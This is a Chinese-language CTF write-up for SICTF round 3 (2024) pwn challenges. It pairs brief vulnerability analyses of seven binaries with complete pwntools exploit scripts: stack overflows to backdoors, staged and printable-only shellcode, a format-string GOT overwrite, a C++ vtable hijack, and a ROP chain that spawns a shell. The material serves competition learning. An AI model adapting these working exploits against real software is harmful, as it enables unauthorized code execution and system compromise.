SICTF-round3-2024-pwn


stack

run函数returnstrdup(buf),也就是将输入的内容直接返回了

char *run()
{
  char buf[76]; // [rsp+0h] [rbp-50h] BYREF
  size_t nbytes; // [rsp+4Ch] [rbp-4h]

  printf("Give me the length: ");
  LODWORD(nbytes) = get_int();
  if ( (unsigned __int8)nbytes > 0x40u )
  {
    puts("Too long!");
    exit(1);
  }
  printf("Give me your command: ");
  read(0, buf, (unsigned int)nbytes);
  return strdup(buf);
}

存在后门函数,但是不能直接控制程序流到这个程序,因为只有当输入内容是give me flag才能执行system,但是执行的内容却是give me flag,所以直接控制程序到执行system的地址,并且参数就是之前输入的内容,在输出的时候/bin/sh后面需要用\x00截断

int __fastcall backdoor(const char *a1)
{
  if ( strncmp(a1, "give me flag", 0xCuLL) )
    return puts("Nope!");
  puts("You got!");
  return system(a1);
}

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('yuanshen.life', 33057)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

backdoor = 0x4011F4
r.sendlineafter(b'Give me the length: ', b'256')

p = b'/bin/sh\x00' + b'a' * 0x50 + p64(backdoor)
r.sendlineafter(b'Give me your command: ', p)

r.interactive()

Bug_Zapper

限制了读的长度小于等于0x10,可以先写shellcode执行read再次读,改rdx来读入更长的shellcode,最后读入pwntools直接生成的shellcodegetshell

if ( (unsigned __int64)sys_read(0, (char *)0x1919810, 0x100uLL) <= 0x10 )
    __asm { syscall; LINUX - sys_creat }

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

'''
mov     esi, eax
xor     eax, eax
xor     edi, edi
mov     edx, esi
syscall 
'''

shellcode = b'\x89\xc6\x31\xc0\x31\xff\x89\xf2\x0f\x05'
r.sendlineafter(b'you', shellcode)

sleep(1)
p = b'\x90' * 0xa + asm(shellcraft.sh())
r.send(p)

r.interactive()

Easy_SI

盲打格式化字符串,先随便输出一段地址得到一些基本信息:

  • 栈中必定存在一个地址是__libc_start_main - 128,已知libc版本,将几个libc地址都减去__libc_start_main + 128,得到libc地址

  • 几次输出的程序段地址都相同说明没有开pie

最终思路大概就是改printf_gotogg了,随便改几个地址会发现可写段从0x404000开始,got基本也就在这一段,从0x404000向后0x8的尝试,改为ogg,最终确定printf_got0x404030

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('yuanshen.life', 34046)

def dbg():
    gdb.attach(r)

libc = ELF('./libc.so.6')

r.sendlineafter(b'the game!!!', b'%49$p')
r.recvuntil(b'0x')
libc_base = int(r.recv(12),16) - libc.sym['__libc_start_main']  - 128

system = libc.sym['system'] + libc_base
printf_got = 0x404030

p = fmtstr_payload(6,{printf_got:system})
r.sendline(p)

r.interactive()

overflow

检查保护,没有开piecanary且可以溢出,且有backdoor

☁  bugzapper_pro_release  checksec pwn            
[*] '/home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

利用点就在std::string::operator

0x40130f    mov    rsi, qword ptr [rbp - 0x60]
0x401313    mov    rdi, qword ptr [rbp - 0x58]
0x401317    call   std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt <std::__cxx11::basic_str
	ing<char, std::char_traits<char>, std::allocator<char> >::operator=(char const*)@plt>
	rdi: 0x7ffedb22ccd8 —▸ 0x404018 (__stack_chk_fail@got.plt) —▸ 0x401066 (__stack_chk_fail@plt+6) ◂— push 3
	rsi: 0x7ffedb22cc30 —▸ 0x4011d0 ◂— push rbp
	rcx: 0x86c29a6f4f550100

输入之后将rbp - 0x60里的值作为二参,rbp - 0x58里的值作为一参,而rbp - 0x60里的地址就是输入的起始地址,rbp - 0x58里的地址也是可以通过溢出覆盖到的

pwndbg> x/20gx 0x7ffc18381560 - 0x60
0x7ffc18381500: 0x00007ffc18381510      0x00007ffc183815b8
0x7ffc18381510: 0x00000000004011d0      0x00000000004011d0
0x7ffc18381520: 0x00000000004011d0      0x00000000004011d0
0x7ffc18381530: 0x00000000004011d0      0x00000000004011d0
0x7ffc18381540: 0x00000000004011d0      0x00000000004011d0
0x7ffc18381550: 0x00000000004011d0      0x00000000004011d0
0x7ffc18381560: 0x6262626262626262      0x6262626262626262
0x7ffc18381570: 0x6262626262626262      0x6262626262626262
0x7ffc18381580: 0x6262626262626262      0x6262626262626262
0x7ffc18381590: 0x6262626262626262      0x6262626262626262

其中存在如下一条指令,此时的cl就是rsi,所以控制rdistack_chk_gotrsibackdoor再覆盖掉canary触发stack_chk_fail执行backdoor

0x7ff7587a0812 <__memmove_avx_unaligned_erms+82>    mov    byte ptr [rdi], cl

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

backdoor = 0x4011D0
stack_chk_got = elf.got['__stack_chk_fail']

p = p64(backdoor)
p = p.ljust(0xa8, b'a') + p64(stack_chk_got)
r.sendline(p)

r.interactive()

Eeeeasy_Cpp

一个c++程序,程序一开始会给出一个程序中的地址,存在两个堆,其中一个堆用来存储输入的namepassword,其中password可以向下溢出,而下面一个堆存储了用于输出的函数的vtable地址和要输出的地址,控制这两个地址就可以控制调用show时执行的函数和输出内容的地址(用于泄露)

C++中的虚函数表(vtable)是一种用于实现动态多态性的机制。它是在包含虚函数的类的对象中存储的一张表,用于存储该类的虚函数的地址。虚函数表使得在运行时可以通过指针或引用来访问实际派生类的虚函数。

本题的思路就是通过改vtable位置的内容为一个存储backdoor的地址,这里需要向堆中写入backdoor地址,再将vtable处地址改成写入了backdoor的堆地址,所以还需要先泄露堆地址。

由于控制输出地址的那个位置就是一个堆地址,所以泄露堆地址可以直接改输出的地址的低位指向其本身,但是在泄露地址之后再次添加会向第二个堆输入,所以还需要再次add复原输出的堆地址低位,这样再次输入就能正常向第一个堆输入了。

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(name, password):
    r.sendlineafter(b'>> ', b'G')
    r.sendlineafter(b'Enter your name: ', name)
    r.sendlineafter(b'Enter your password:', password)

def show():
    r.sendlineafter(b'>> ', b'P')

r.recvuntil(b'0x')
code_base = int(r.recv(12), 16) - 0x2650

backdoor = code_base + 0x22E0
vtable = code_base + 0x4D38

add('a' , b'\x00' * 0x18 + p64(0x21) + p64(vtable + 0x10) + b'\x48')
show()

r.recvuntil('Name: ')
heap_addr = u64(r.recv(6).ljust(8, b'\x00'))

add(b'\x10', b'a')

add(p64(backdoor), b'\x00' * 0x18 + p64(0x21) + p64(heap_addr - 0x40))
show()

r.interactive()

Bug_Zapper_Pro+

由于存在ptrace,所以在长度为0xb的时候能调试,在长度为0x10的时候能执行但不能调试,题目限制了shellcode的长度在0x10之内并且是可见字符

if ( v3 <= 0x10 )
  {
    v4 = v3;
    LOBYTE(v3) = v3 + 85;
    __asm { syscall; LINUX - sys_creat }
    if ( !v3 )
    {
      for ( i = 0LL; ; ++i )
      {
        v6 = (char *)(i + 0x114514FE0LL);
        if ( i >= v4 )
          break;
        if ( *v6 < 0x20 || *v6 >= 0x7E )
          goto end;
      }
      MEMORY[0x114514FE0](0LL, 0LL, 0LL, 0LL, 0LL, 0LL);
    }
  }

思路还是先写shellcode再次执行read,程序中跳转后的起始地址在0x114514FE0,但是rwx段到0x114515000结束,中间长度不够,所以再次读的时候还要向上转移

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
          0x401000           0x402000 r-xp     1000   1000 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
          0x402000           0x403000 rw-p     1000   2000 /home/starrysky/game2024/sictf_r3/bugzapper_pro_release/pwn
       0x114514000        0x114515000 rwxp     1000      0 [anon_114514]
    0x7ffff7ff9000     0x7ffff7ffd000 r--p     4000      0 [vvar]
    0x7ffff7ffd000     0x7ffff7fff000 r-xp     2000      0 [vdso]
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

可见字符最大的问题就是不能写入syscall,所以可以通过先向需要执行syscall的地方向写入可见字符再和某个位置异或间接的得到syscall,异或需要用到rax + address,而shellcode每一位都要大于0x20,所以先rax减去一部分,减去的这个值需要满足:低两位与syscall异或的值是可见字符、其本身也是可见字符,最终我选择了- 0x67,最终rax的低位是0x4f79,与syscall异或之后>>> hex(0x4f79 ^ 0x050f) = 0x4a76,所以在shellcode末尾写0x4a76,异或后即可得到syscall

其中读入的地址我选择了rax - 0x67,这样可以读入的长度会更长一些,再次读入的shellcode需要控制第一次读入的地址的下一个命令jmp rsi,最后执行orw

from pwn import *

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

shellcode = asm('''
sub al, 0x67
push rax
pop rsi
xor word ptr [rax + 0x72], ax

pop rdx
push rbx
pop rax

.word 0x4a76
''')

shellcode = shellcode.ljust(0x10, b'\x20')
r.sendafter('Welcome', shellcode)

shellcode = asm('''
mov rax,0x67616c66
push rax

mov rdi,rsp
mov rsi,0
mov rdx,0
mov rax,2
syscall

mov rdi,rax
mov rsi,rsp
mov rdx,1024
mov rax,0
syscall

mov rdi,1
mov rsi,rsp
mov rdx,rax
mov rax,1
syscall

mov rdi,0
mov rax,60
syscall
''')

shellcode = shellcode.ljust(0x74, b'\x90')
shellcode += asm('''jmp rsi''')
sleep(1)
r.send(shellcode)

r.interactive()

TalkBoom

rust写的程序,没开canarypie

  talk  checksec pwn     
[*] '/home/starrysky/game2024/sictf_r3/talk/pwn'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

会将输入的字符串和很多字符串进行比较

.text:000000000040504D 48 8D 35 AC 31 04 00          lea     rsi, unk_448200                 ; s2
.text:0000000000405054 BA 40 00 00 00                mov     edx, 40h ; '@'                  ; n
.text:0000000000405059 4C 89 F7                      mov     rdi, r14                        ; s1
.text:000000000040505C FF 15 5E AC 05 00             call    cs:bcmp_ptr
.text:000000000040505C
.text:0000000000405062 85 C0                         test    eax, eax
.text:0000000000405064 0F 84 E0 04 00 00             jz      loc_40554A
.text:0000000000405064
.text:000000000040506A 48 8D 35 CF 31 04 00          lea     rsi, unk_448240                 ; s2
.text:0000000000405071 BA 40 00 00 00                mov     edx, 40h ; '@'                  ; n
.text:0000000000405076 4C 89 F7                      mov     rdi, r14                        ; s1
.text:0000000000405079 FF 15 41 AC 05 00             call    cs:bcmp_ptr
.text:0000000000405079
.text:000000000040507F 85 C0                         test    eax, eax
.text:0000000000405081 0F 84 FE 04 00 00             jz      loc_405585
.text:0000000000405081
...

比较之后跳转,跳转之后有一个mov edi,在mov edi, 100h的那个分值会跳转到一个存在栈溢出的read

.text:0000000000405585 48 8D 05 FC 79 05 00          lea     rax, off_45CF88
.text:000000000040558C 48 89 04 24                   mov     [rsp+68h+s1], rax               ; args
.text:0000000000405590 48 C7 44 24 08 01 00 00 00    mov     [rsp+68h+size], 1
.text:0000000000405599 48 8D 05 28 32 04 00          lea     rax, unk_4487C8
.text:00000000004055A0 48 89 44 24 10                mov     [rsp+68h+size+8], rax
.text:00000000004055A5 0F 57 C0                      xorps   xmm0, xmm0
.text:00000000004055A8 0F 11 44 24 18                movups  [rsp+68h+var_50], xmm0
.text:00000000004055AD 48 89 E7                      mov     rdi, rsp
.text:00000000004055B0 FF 15 4A A6 05 00             call    cs:_ZN3std2io5stdio6_print17h8c9d4123cf4200e3E_ptr ; std::io::stdio::_print::h8c9d4123cf4200e3
.text:00000000004055B0
.text:00000000004055B6
.text:00000000004055B6                               loc_4055B6:                             ; CODE XREF: SphinxBomb::main::hb23b3d8accd9981a+81C↓j
.text:00000000004055B6 BF 17 00 00 00                mov     edi, 17h
.text:00000000004055BB E9 A4 00 00 00                jmp     loc_405664
.text:00000000004055BB
.text:00000000004055C0                               ; ---------------------------------------------------------------------------
.text:00000000004055C0
.text:00000000004055C0                               loc_4055C0:                             ; CODE XREF: SphinxBomb::main::hb23b3d8accd9981a+1FE↑j
.text:00000000004055C0 48 8D 05 B1 79 05 00          lea     rax, off_45CF78
.text:00000000004055C7 48 89 04 24                   mov     [rsp+68h+s1], rax               ; args
.text:00000000004055CB 48 C7 44 24 08 01 00 00 00    mov     [rsp+68h+size], 1
.text:00000000004055D4 48 8D 05 ED 31 04 00          lea     rax, unk_4487C8
.text:00000000004055DB 48 89 44 24 10                mov     [rsp+68h+size+8], rax
.text:00000000004055E0 0F 57 C0                      xorps   xmm0, xmm0
.text:00000000004055E3 0F 11 44 24 18                movups  [rsp+68h+var_50], xmm0
.text:00000000004055E8 48 89 E7                      mov     rdi, rsp
.text:00000000004055EB FF 15 0F A6 05 00             call    cs:_ZN3std2io5stdio6_print17h8c9d4123cf4200e3E_ptr ; std::io::stdio::_print::h8c9d4123cf4200e3
.text:00000000004055EB
.text:00000000004055F1 BF 2E 00 00 00                mov     edi, 2Eh ; '.'
.text:00000000004055F6 EB 6C                         jmp     short loc_405664
.text:00000000004055F6
.text:00000000004055F8                               ; ---------------------------------------------------------------------------
.text:00000000004055F8
...
ssize_t __fastcall SphinxBomb::bomb_counter::h2ef55620c9869ad5(size_t nbytes)
{
  __int128 v2[3]; // [rsp+0h] [rbp-38h] BYREF

  memset(v2, 0, sizeof(v2));
  return read(0, v2, nbytes);
}

直接连接远程得到程序的base64解码得到的字符串,每次比较的字符串和mov edi, 100h这个位置是不一样的,但是字符串的位置是一样的,本题的思路就是接收程序,利用pwntools直接获取一个固定地址的字符串,一共有30个分支,直接死循环直到执行成功

exp

from pwn import *
import angr

context(arch='amd64', os='linux', log_level='debug')  #32位arch=‘i386’

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

def dbg():
    gdb.attach(r)

def pwn():
    r.recvuntil('This is your Bomb: \n')
    r.recvuntil("b'")
    a = r.recvline(keepends=False)

    decoded = base64.b64decode(a)

    with open("poc3.gz", "wb") as f:
        f.write(decoded)
    li('[+] Download')

    os.system('gzip -d poc3.gz && chmod +x poc3')
    li(b'ok')

    binary_path = './poc3'
    target_address = 0x448740

    elf = ELF(binary_path)
    value = elf.read(target_address, 63)
    li(value)

    os.system('rm poc3')

    r.sendlineafter(b'Welcome', value)

    pop_rdi_ret = 0x0000000000402359
    pop_rsi_ret = 0x00000000004042bc
    pop_rcx_ret = 0x402b38 
    mov_rdx_rcx_rbx_ret = 0x4461d4

    p1 = b'a' * 0x38 + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(0x4603e8 + 0x50) + p64(0x404e8d) + p64(0) * 7 + p64(pop_rdi_ret) + p64(59) + p64(pop_rsi_ret) + p64(0x4603e8 + 0x50) + p64(pop_rcx_ret) + p64(0) + p64(mov_rdx_rcx_rbx_ret) + p64(0) + p64(0x402a7c)
    r.send(p1)

    r.send(b'/bin/sh\x00')
    r.sendline('cat /flag')

while(1):
    try:
        r = remote('112.124.59.213', 10001)
        pwn()
    except EOFError:
        continue
    else:
        r.interactive()

  目录